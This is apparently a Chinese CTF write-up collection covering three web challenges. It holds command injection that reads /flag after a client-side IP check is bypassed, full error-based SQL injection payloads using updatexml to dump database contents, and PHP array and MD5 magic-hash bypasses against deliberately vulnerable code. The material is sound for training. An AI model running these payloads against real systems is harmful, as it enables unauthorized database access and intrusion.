[LitCTF 2023]Ping
尝试ping一下127.0.0.1成功了,但要查看根目录时提示只能输入IP
查看源代码,这段JavaScript代码定义了一个名为check_ip
的函数,用于验证输入是否为有效的IPv4地址。并且使用正则表达式re
来匹配IPv4地址的格式。
对于这种写在前端的验证函数,直接禁掉 js 代码的调用就行(按F12后再按F1可见)
禁用JS后就可以正常使用命令读取flag
查看根目录 ls /
读取flag cat /flag
[SWPUCTF 2021 新生赛]error
看一下源代码,看来捷径就是SQL注入,传参了id
输入1时正常回显,输入1'时报错
提示说 没有提示,考虑报错注入
判断闭合方式为'
爆出数据库 test_db
?id=1' and updatexml(1,concat(0x7e,database()),3)--+
使用updatexml(1,2,3) 进行报错注入
MySQL提供的 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
爆数据表,提示子查询结果多于一行
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db')),3)--+
使用limit 0,1(第一张表),limit 1,1(第二张表)... ...
limit 0,1:表示从第0行开始,显示1行,从0开始计数
爆出第一张表 test_tb,第二张表 users
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db' limit 0,1)),3)--+
爆数据列也是不止一列(第一列 id,第二列 flag)
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1)),3)--+
爆出flag
?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb)),3)--+
发现得到的flag不全,这里使用函数substring解决返回字符串不完整问题
substring(group_concat(flag),1,30)
//解释为从第1个字符往后再显示30个字符
//group_concat()的作用:确保所有查询信息能放到一行显示出来
爆出flag后半段(这里从第30个字符开始往后再显示30个字符),拼接即为完整flag
?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(flag),30,30) from test_tb)),3)--+
[NSSCTF 2022 Spring Recruit]babyphp
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
//是否设置了名为"a"的POST参数,并且该参数不包含数字、不是空字符串,并且可以转换为整数。{if(isset($_POST['b1'])&&$_POST['b2'])
//是否设置了名为"b1"的POST参数,并且名为"b2"的参数也存在(这里没有使用isset,所以如果"b2"参数不存在,将会导致一个PHP警告)。{if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
//"b1"和"b2"两个参数的值不相同,但它们的MD5值相同(===强比较)。{if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
//c1"和"c2"两个参数的值不相同,并且它们都是字符串类型,它们的MD5值也相同。{echo $flag; //以上条件均符合,返回flag}else{echo "yee";}}else{echo "nop";}}else{echo "go on";}
}else{echo "let's get some php";
}
?>
由源代码知,四个if条件均满足,可得到flag
第一个if,可用数组绕过,POST传参 a[]=1
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
//是否设置了名为"a"的POST参数,并且该参数不包含数字、不是空字符串,并且可以转换为整数。
第二个if,b1=b2即可
if(isset($_POST['b1'])&&$_POST['b2'])
//是否设置了名为"b1"的POST参数,并且名为"b2"的参数也存在(这里没有使用isset,所以如果"b2"参数不存在,会导致一个PHP警告)。
第三个if,b1!=b2,但它们的MD5值相等
php中的== 弱类型比较,可通过hash比较的缺陷绕过:
两个数的md5加密后的值以0e开头就可以绕过
因为以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等
0e开头MD5值小结_0e开头的md5-CSDN博客
但此处是===强比较,参考记一次[NSSCTF 2022 Spring Recruit]babyphp-CSDN博客才知道这里同样要用到数组绕过。
如果md5() 中传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较(===)里面null=null为true绕过,b1与b2设置不同的值即可,此处传参 b1[]=1&b2[]=2 即可绕过。
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
//"b1"和"b2"两个参数的值不相同,但它们的MD5值相同。
第四个if,此处是php的==弱比较,就可以用hash比较的缺陷绕过,得到最终flag
POST传参c1=s878926199a&c2=s155964671a
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
//c1"和"c2"两个参数的值不相同,并且它们都是字符串类型,它们的MD5值也相同。